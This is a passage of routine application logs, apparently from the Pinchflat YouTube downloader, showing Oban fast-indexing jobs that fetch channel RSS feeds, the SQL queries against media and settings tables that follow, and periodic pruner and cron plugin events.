s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:34:56.032 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 00:34:56.585 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 00:34:56.586 [debug] QUERY OK source="media_items" db=0.2ms idle=554.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 00:34:56.588 [debug] QUERY OK source="media_items" db=1.7ms idle=554.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 00:34:56.589 [debug] QUERY OK source="tasks" db=0.0ms idle=556.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [479, 3, ~U[2026-07-24 00:34:56Z], ~U[2026-07-24 00:34:56Z]] 00:34:56.589 [info] {"args":{"id":3},"id":476,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":557535,"event":"job:stop","queue_time":49316,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:35:00.765 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:35:25.037 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:55.038 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:00.766 [info] {"source":"oban","duration":421,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:36:25.039 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:55.040 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:00.767 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:37:25.042 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:55.043 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:00.768 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:38:25.044 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:55.046 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:00.769 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:39:25.047 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:55.049 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:00.770 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:40:25.050 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:41.407 [info] {"args":{"id":2},"id":477,"meta":{},"system_time":1784853641407239485,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:40:41.407 [info] {"args":{"id":1},"id":478,"meta":{},"system_time":1784853641407276016,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:40:41.407 [debug] QUERY OK source="sources" db=0.1ms idle=405.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 00:40:41.407 [debug] QUERY OK source="settings" db=0.0ms idle=405.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:40:41.407 [debug] QUERY OK source="sources" db=0.2ms idle=405.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:40:41.407 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:40:41.408 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:40:41.408 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:40:41.408 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 00:40:41.408 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:40:41.408 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:40:41.408 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 00:40:41.715 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 00:40:41.715 [debug] QUERY OK source="media_items" db=0.2ms idle=307.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 00:40:41.718 [debug] QUERY OK source="media_items" db=2.1ms idle=308.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 00:40:41.718 [debug] QUERY OK source="tasks" db=0.0ms idle=310.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [480, 1, ~U[2026-07-24 00:40:41Z], ~U[2026-07-24 00:40:41Z]] 00:40:41.719 [info] {"args":{"id":1},"id":478,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":311712,"event":"job:stop","queue_time":41061,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:40:41.996 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 00:40:41.997 [debug] QUERY OK source="media_items" db=0.3ms idle=278.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 00:40:41.998 [debug] QUERY OK source="media_items" db=0.3ms idle=279.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 00:40:41.999 [debug] QUERY OK source="tasks" db=0.1ms idle=273.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [481, 2, ~U[2026-07-24 00:40:41Z], ~U[2026-07-24 00:40:41Z]] 00:40:41.999 [info] {"args":{"id":2},"id":477,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":591869,"event":"job:stop","queue_time":506615,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:40:55.051 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:00.771 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:41:25.052 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:55.053 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:00.772 [info] {"source":"oban","duration":390,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:42:25.054 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:55.055 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:00.772 [info] {"source":"oban","duration":100,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:43:25.057 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:55.059 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:00.774 [info] {"source":"oban","duration":119,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:44:25.060 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:55.061 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:56.679 [info] {"args":{"id":3},"id":479,"meta":{},"system_time":1784853896679150076,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:44:56.679 [debug] QUERY OK source="sources" db=0.0ms idle=1677.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 00:44:56.679 [debug] QUERY OK source="settings" db=0.1ms idle=1617.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:44:56.679 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:44:56.679 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:44:56.680 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 00:44:56.943 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 00:44:56.944 [debug] QUERY OK source="media_items" db=0.2ms idle=264.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 00:44:56.946 [debug] QUERY OK source="media_items" db=1.8ms idle=264.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 00:44:56.946 [debug] QUERY OK source="tasks" db=0.0ms idle=266.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [482, 3, ~U[2026-07-24 00:44:56Z], ~U[2026-07-24 00:44:56Z]] 00:44:56.946 [info] {"args":{"id":3},"id":479,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":267693,"event":"job:stop","queue_time":90008,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:45:00.775 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:45:25.062 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:55.063 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:00.776 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:46:25.065 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:55.067 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:00.777 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:47:25.068 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:55.069 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:00.778 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:48:25.070 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:55.071 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:00.779 [info] {"source":"oban","duration":265,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:49:25.073 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:55.074 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:00.780 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:50:25.075 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:42.056 [info] {"args":{"id":1},"id":480,"meta":{},"system_time":1784854242056240236,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:50:42.056 [info] {"args":{"id":2},"id":481,"meta":{},"system_time":1784854242056265518,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:50:42.056 [debug] QUERY OK source="sources" db=0.1ms 